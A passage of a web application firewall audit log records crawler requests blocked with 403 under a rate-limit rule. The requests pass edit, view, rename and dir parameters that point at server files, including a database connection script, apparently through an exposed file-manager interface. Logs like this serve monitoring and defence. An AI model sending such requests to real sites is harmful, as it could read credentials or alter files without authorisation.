(Varnish/7.7)","X-Varnish":"12028696"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"13e5e12ee8951f4226c08ac166975381","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/slick.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":267,"p2":1756,"p3":0,"p4":0,"p5":2076,"sr":118,"sw":1,"l":0,"gc":1665},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.267701 +0100","transaction_id":"abPOjE26I4peWFmz15ymowAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2Fflaticon.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"024e03707d2ba8dd40ca48f268815d0d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028699"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"024e03707d2ba8dd40ca48f268815d0d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/flaticon.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":187,"p2":1658,"p3":0,"p4":0,"p5":421,"sr":104,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.358518 +0100","transaction_id":"abPOjE26I4peWFmz15ympAAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fcss%2Fslick-theme.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"767a8fce73448f056ffa224952cbbd4a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028702"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"767a8fce73448f056ffa224952cbbd4a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/css/slick-theme.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":184,"p2":1710,"p3":0,"p4":0,"p5":453,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.449615 +0100","transaction_id":"abPOjE26I4peWFmz15ympQAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fatito.com%2Fphp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5488f7c7aa885767dcadc387b183b9b8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10259199"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5488f7c7aa885767dcadc387b183b9b8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/atito.com/php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":185,"p2":1784,"p3":0,"p4":0,"p5":368,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.540655 +0100","transaction_id":"abPOjKg_lPa2owFZ6_Pu8AAAAQw","remote_address":"216.73.216.152","remote_port":52594,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fforms%2Fsecond.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"080884f84f35558fe247f1b31a46ba0b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028707"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"080884f84f35558fe247f1b31a46ba0b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/forms/second.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":183,"p2":1703,"p3":0,"p4":0,"p5":313,"sr":106,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.631563 +0100","transaction_id":"abPOjKg_lPa2owFZ6_Pu8QAAAQw","remote_address":"216.73.216.152","remote_port":52594,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2Fanimate.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a8e9613561c2488454e6402a0feb047e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5378234"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a8e9613561c2488454e6402a0feb047e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/animate.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":178,"p2":1747,"p3":0,"p4":0,"p5":324,"sr":148,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.723669 +0100","transaction_id":"abPOjKg_lPa2owFZ6_Pu8gAAAQw","remote_address":"216.73.216.152","remote_port":52594,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2FprettyPhoto.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2945fc74140547c9ddc223ee3b533285","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028710"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2945fc74140547c9ddc223ee3b533285","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/prettyPhoto.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":178,"p2":1930,"p3":0,"p4":0,"p5":385,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.814736 +0100","transaction_id":"abPOjExHnLkyPWuTIW5cigAAAZM","remote_address":"216.73.216.152","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2Fmain.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bdbdff5939b5e15678a0056fab5382cc","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7246001"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bdbdff5939b5e15678a0056fab5382cc","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/main.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":183,"p2":1998,"p3":0,"p4":0,"p5":430,"sr":136,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.906366 +0100","transaction_id":"abPOjFRY1ZHue1KnYxoqvwAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fforms%2Findex.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"10504fcfe29b72df1bc8ec2b1ac16305","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028716"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"10504fcfe29b72df1bc8ec2b1ac16305","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/forms/index.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":252,"p2":2539,"p3":0,"p4":0,"p5":500,"sr":157,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:00.995665 +0100","transaction_id":"abPOjFRY1ZHue1KnYxoqwAAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fforms%2Fdb_connect.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"14a290f23085a51f0e36eb287a5baba1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7246007"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"14a290f23085a51f0e36eb287a5baba1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/forms/db_connect.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":177,"p2":1784,"p3":0,"p4":0,"p5":344,"sr":129,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.089780 +0100","transaction_id":"abPOjVRY1ZHue1KnYxoqwQAAAoo","remote_address":"216.73.216.152","remote_port":40438,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsivaco%2Fphpunit.xml HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c79599a183a06065ae0d3598f293bb20","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028719"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c79599a183a06065ae0d3598f293bb20","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/sivaco/phpunit.xml& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":359,"p2":2827,"p3":0,"p4":0,"p5":522,"sr":138,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.177995 +0100","transaction_id":"abPOjbJ190y1fElY11bnMgAAAJA","remote_address":"216.73.216.152","remote_port":32928,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fforms%2Ferror.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"83f561b52e6a03644848af68fb6b6b14","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160648"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"83f561b52e6a03644848af68fb6b6b14","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/forms/error.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":180,"p2":1731,"p3":0,"p4":0,"p5":298,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:01.270381 +0100","transaction_id":"abPOjbJ190y1fElY11bnNQAAAI0","remote_address":"216.73.216.152","remote_port":56270,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fcss%2Fslick-theme.css HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1ee8480de805ee062606041984698441","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5378240"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1ee8480de805ee062606041984698441","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/css/slick-theme.css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag 